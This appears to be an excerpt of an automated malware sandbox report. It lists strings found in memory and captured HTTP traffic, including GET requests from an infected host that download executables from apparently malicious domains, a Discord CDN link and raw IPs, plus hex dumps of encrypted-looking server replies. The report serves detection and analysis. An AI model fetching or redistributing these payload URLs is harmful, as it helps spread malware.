Source: svchost.exe, 00000014.00000003.378825069.00000246D0F93000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.379055077.00000246D0FB4000.00000004.00000001.sdmp String found in binary or memory: http://help.disneyplus.com.
Source: B729.exe.13.dr String found in binary or memory: http://ocsp.sectigo.com0
Source: explorer.exe, 0000000D.00000000.311044019.000000000EE50000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.323664630.000000000EE50000.00000004.00000001.sdmp String found in binary or memory: http://schemas.mi
Source: explorer.exe, 0000000D.00000000.311044019.000000000EE50000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.323664630.000000000EE50000.00000004.00000001.sdmp String found in binary or memory: http://schemas.micr
Source: svchost.exe, 00000008.00000002.308057545.00000213CFA13000.00000004.00000001.sdmp String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000006.00000002.543597107.000001D194A44000.00000004.00000001.sdmp String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000006.00000002.543597107.000001D194A44000.00000004.00000001.sdmp String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000006.00000002.543597107.000001D194A44000.00000004.00000001.sdmp String found in binary or memory: https://activity.windows.com
Source: 1F0B.exe, 0000001F.00000002.473714109.00000000041E1000.00000004.00000001.sdmp, 1F0B.exe, 0000001F.00000002.473902157.0000000004351000.00000004.00000001.sdmp String found in binary or memory: https://api.ip.sb/ip
Source: svchost.exe, 00000008.00000003.307527535.00000213CFA61000.00000004.00000001.sdmp String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000006.00000002.543597107.000001D194A44000.00000004.00000001.sdmp String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000006.00000002.543597107.000001D194A44000.00000004.00000001.sdmp String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000008.00000003.307629652.00000213CFA4B000.00000004.00000001.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000008.00000003.307527535.00000213CFA61000.00000004.00000001.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000008.00000002.308084699.00000213CFA3D000.00000004.00000001.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000008.00000002.308147603.00000213CFA69000.00000004.00000001.sdmp, svchost.exe, 00000008.00000003.307368032.00000213CFA67000.00000004.00000001.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000008.00000003.307527535.00000213CFA61000.00000004.00000001.sdmp String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000008.00000003.307629652.00000213CFA4B000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.308109021.00000213CFA4D000.00000004.00000001.sdmp String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000008.00000003.307527535.00000213CFA61000.00000004.00000001.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000008.00000002.308084699.00000213CFA3D000.00000004.00000001.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000008.00000003.307527535.00000213CFA61000.00000004.00000001.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000008.00000003.307527535.00000213CFA61000.00000004.00000001.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000008.00000003.307527535.00000213CFA61000.00000004.00000001.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000008.00000003.285289521.00000213CFA30000.00000004.00000001.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000008.00000003.307737326.00000213CFA41000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.308095122.00000213CFA42000.00000004.00000001.sdmp, svchost.exe, 00000008.00000003.307701791.00000213CFA3F000.00000004.00000001.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000008.00000003.307737326.00000213CFA41000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.308095122.00000213CFA42000.00000004.00000001.sdmp, svchost.exe, 00000008.00000003.307701791.00000213CFA3F000.00000004.00000001.sdmp String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000008.00000003.307527535.00000213CFA61000.00000004.00000001.sdmp String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000008.00000003.307701791.00000213CFA3F000.00000004.00000001.sdmp, svchost.exe, 00000008.00000003.307716871.00000213CFA46000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.308100532.00000213CFA47000.00000004.00000001.sdmp String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000014.00000003.378825069.00000246D0F93000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.379055077.00000246D0FB4000.00000004.00000001.sdmp String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000008.00000003.307629652.00000213CFA4B000.00000004.00000001.sdmp String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000008.00000003.307701791.00000213CFA3F000.00000004.00000001.sdmp, svchost.exe, 00000008.00000003.307716871.00000213CFA46000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.308100532.00000213CFA47000.00000004.00000001.sdmp String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000008.00000003.307701791.00000213CFA3F000.00000004.00000001.sdmp, svchost.exe, 00000008.00000003.307716871.00000213CFA46000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.308100532.00000213CFA47000.00000004.00000001.sdmp String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000008.00000002.308109021.00000213CFA4D000.00000004.00000001.sdmp String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000008.00000003.307527535.00000213CFA61000.00000004.00000001.sdmp String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000008.00000002.308084699.00000213CFA3D000.00000004.00000001.sdmp String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000008.00000003.285289521.00000213CFA30000.00000004.00000001.sdmp String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: B729.exe.13.dr String found in binary or memory: https://sectigo.com/CPS0D
Source: svchost.exe, 00000008.00000003.307701791.00000213CFA3F000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.308090278.00000213CFA40000.00000004.00000001.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000008.00000002.308084699.00000213CFA3D000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.308057545.00000213CFA13000.00000004.00000001.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000008.00000003.285289521.00000213CFA30000.00000004.00000001.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000008.00000003.307731625.00000213CFA45000.00000004.00000001.sdmp, svchost.exe, 00000008.00000003.307701791.00000213CFA3F000.00000004.00000001.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000008.00000003.285289521.00000213CFA30000.00000004.00000001.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000008.00000003.307766407.00000213CFA39000.00000004.00000001.sdmp String found in binary or memory: https://t0.ssl.ak.tiles.
Source: svchost.exe, 00000008.00000003.285289521.00000213CFA30000.00000004.00000001.sdmp String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000008.00000003.307629652.00000213CFA4B000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.308109021.00000213CFA4D000.00000004.00000001.sdmp String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: svchost.exe, 00000014.00000003.378825069.00000246D0F93000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.379055077.00000246D0FB4000.00000004.00000001.sdmp String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000014.00000003.378825069.00000246D0F93000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.379055077.00000246D0FB4000.00000004.00000001.sdmp String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 00000014.00000003.384055580.00000246D0FAE000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.384040858.00000246D0FC5000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.384024373.00000246D0FC5000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.384071016.00000246D1402000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.383987062.00000246D0F7C000.00000004.00000001.sdmp, svchost.exe, 00000014.00000003.384007011.00000246D0F8D000.00000004.00000001.sdmp String found in binary or memory: https://www.tiktok.com/legal/report/feedback
Source: unknown DNS traffic detected: queries for: host-data-coin-11.com
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 23_2_00404BE0
Source: global traffic HTTP traffic detected: GET /32739433.dat?iddqd=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.233.81.115
Source: global traffic HTTP traffic detected: GET /attachments/928021103304134716/928938539171864596/Dulling.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic HTTP traffic detected: GET /3eHgQQR HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: bit.ly
Source: global traffic HTTP traffic detected: GET /a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: bitly.com
Source: global traffic HTTP traffic detected: GET /files/2184_1641247228_8717.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic HTTP traffic detected: GET /install1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unic11m.top
Source: global traffic HTTP traffic detected: GET /install1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic HTTP traffic detected: GET /downloads/toolspab1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic HTTP traffic detected: GET /files/2150_1641729871_1812.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic HTTP traffic detected: GET /files/9993_1641737702_2517.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:52 GMTContent-Type: text/htmlContent-Length: 153Connection: close
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 1a b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4c ed a1 88 70 bc 57 dd 43 d4 fa 20 87 20 e7 c3 9a 57 2a e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9LpWC W*c0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 09 Jan 2022 17:47:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Sun, 09 Jan 2022 17:46:40 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
